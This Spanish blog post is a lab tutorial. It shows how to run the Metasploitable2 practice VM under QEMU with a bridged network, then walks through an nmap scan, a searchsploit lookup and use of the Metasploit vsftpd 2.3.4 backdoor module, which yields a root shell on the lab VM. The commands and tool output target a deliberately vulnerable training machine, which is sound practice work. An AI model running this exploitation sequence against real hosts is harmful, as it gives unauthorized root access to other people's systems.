Entrada

Metasploitable2 en Qemu

Metasploitable2 en Qemu

Descargar

Metasploitable2 es una de las máquinas que ofrece Rapid7 para realizar prácticas de pentesting. La descarga es un fichero zip que contien los ficheros para hacer que la máquina en VirtualBox.Puedes descargar la máquina desde aquí: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/metasploitable-linux-2.0.0.zip/download

Es una máquina Linux con “vulnerabilidades” en Hacktools/#vulnerable-machines puedes encontrar más máquinas y proyectos como este. Incluye varios proyectos web con vulnerabilidades o con versiones vulnerables para practicar todo tipo de pruebas de penetración como TWiki, phpMyAdmin, Mutillidae, DVWA, WebDAV, aparte de las propias vulnerabilidades del sistema que sostienen esas web, la máquina virtual en si misma.

Instala qemu-utils si no lo tienes:

1
sudo apt install qemu-utils

Conversión a QEMU

Como no me gusta instalar 20 tipos de sistemas de virtualización en mi máquina opté por convertir la imagen VMDK a QCOW2, de otra forma necesitaría instalar VirtualBox, pero podemos sortear este “inconveniente”:

1
qemu-img convert -f vmdk -O qcow2 Metasploitable.vmdk metasploitable2.qcow2

Configuración red puente

Crear una conexión puente para poder comunicarnos con esta máquina remplaza vmbridge con el nombre de su interface de red puente. Usamos la opción bridge para usar un dispostivo virtual bridge, ver => bridged-linux

Ahora podemos lanzar la máquina, recuerda que para salir de la ventana en QEMU tenemos esta combinación de teclas “Ctrl + Alt + G” .

Además hay que modificar el fichro /etc/qemu/bridge.conf si queremos que nuestro Qemu acepte usar ese puente.

1
allow vmbridge

Metasploitables en QEMU

Lanzamos la imagen así, podemos cambiar los parámetros de memoria pero 2048 parece que es más que suficiente.

1
sudo qemu-system-i386 -hda metasploitable2.qcow2 -m 2048 -net bridge,br=vmbridge

Ahora comprueba que tengas conectividad, con la VM, puedes comprobarlo haciendo ping u otra herramienta. Por ejemplo el navegador

Primer contacto web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                _                  _       _ _        _     _      ____  
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


    TWiki
    phpMyAdmin
    Mutillidae
    DVWA
    WebDAV

Fase de reconocimiento

Escaneo Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@office:/home/pablo# nmap -p- -sV 192.168.2.225 -vv
....
PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 64 vsftpd 2.3.4
22/tcp    open  ssh         syn-ack ttl 64 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      syn-ack ttl 64 Linux telnetd
25/tcp    open  smtp        syn-ack ttl 64 Postfix smtpd
53/tcp    open  domain      syn-ack ttl 64 ISC BIND 9.4.2
80/tcp    open  http        syn-ack ttl 64 Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     syn-ack ttl 64 2 (RPC #100000)
139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        syn-ack ttl 64 netkit-rsh rexecd
513/tcp   open  login?      syn-ack ttl 64
514/tcp   open  shell       syn-ack ttl 64 Netkit rshd
1099/tcp  open  java-rmi    syn-ack ttl 64 GNU Classpath grmiregistry
1524/tcp  open  bindshell   syn-ack ttl 64 Metasploitable root shell
2049/tcp  open  nfs         syn-ack ttl 64 2-4 (RPC #100003)
2121/tcp  open  ftp         syn-ack ttl 64 ProFTPD 1.3.1
3306/tcp  open  mysql       syn-ack ttl 64 MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     syn-ack ttl 64 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  syn-ack ttl 64 PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         syn-ack ttl 64 VNC (protocol 3.3)
6000/tcp  open  X11         syn-ack ttl 64 (access denied)
6667/tcp  open  irc         syn-ack ttl 64 UnrealIRCd
6697/tcp  open  irc         syn-ack ttl 64 UnrealIRCd
8009/tcp  open  ajp13?      syn-ack ttl 64
8180/tcp  open  unknown     syn-ack ttl 64
8787/tcp  open  drb         syn-ack ttl 64 Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
41015/tcp open  java-rmi    syn-ack ttl 64 GNU Classpath grmiregistry
51073/tcp open  mountd      syn-ack ttl 64 1-3 (RPC #100005)
55206/tcp open  nlockmgr    syn-ack ttl 64 1-4 (RPC #100021)
56510/tcp open  status      syn-ack ttl 64 1 (RPC #100024)

Para hacer más rápido un búsqueda de posibles exploits ahora que conocemos los puertos.

21/tcp open ftp syn-ack ttl 64 vsftpd 2.3.4

Fase de preparación

1
2
3
4
5
6
7
8
9
10
11
12
13
root@office:/home/pablo# searchsploit vsftpd
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                                                                                                   | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                                                                                                   | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                                                                                                   | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                                                                                                                 | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                                                        | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                                                           | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service                                                                                                                                          | multiple/remote/49719.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Ahora desde Metasploit, podemos buscar el exploit que podríamos utilizar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
msf6 > search vsft

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
                                       ing-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.2.225
rhost => 192.168.2.225

Explotación

Lanzamos el exploit y tenemos root shell.

1
2
3
4
5
6
7
8
9
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.2.225:21 - The port used by the backdoor bind listener is already open
[+] 192.168.2.225:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.122.15:46433 -> 192.168.2.225:6200) at 2025-07-17 14:38:47 -0400

whoami
root

Hay varias formas de explotar esta máquina y Internet está lleno de manuales para explotarlas, busca la que más te apetezca o invéntate una.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.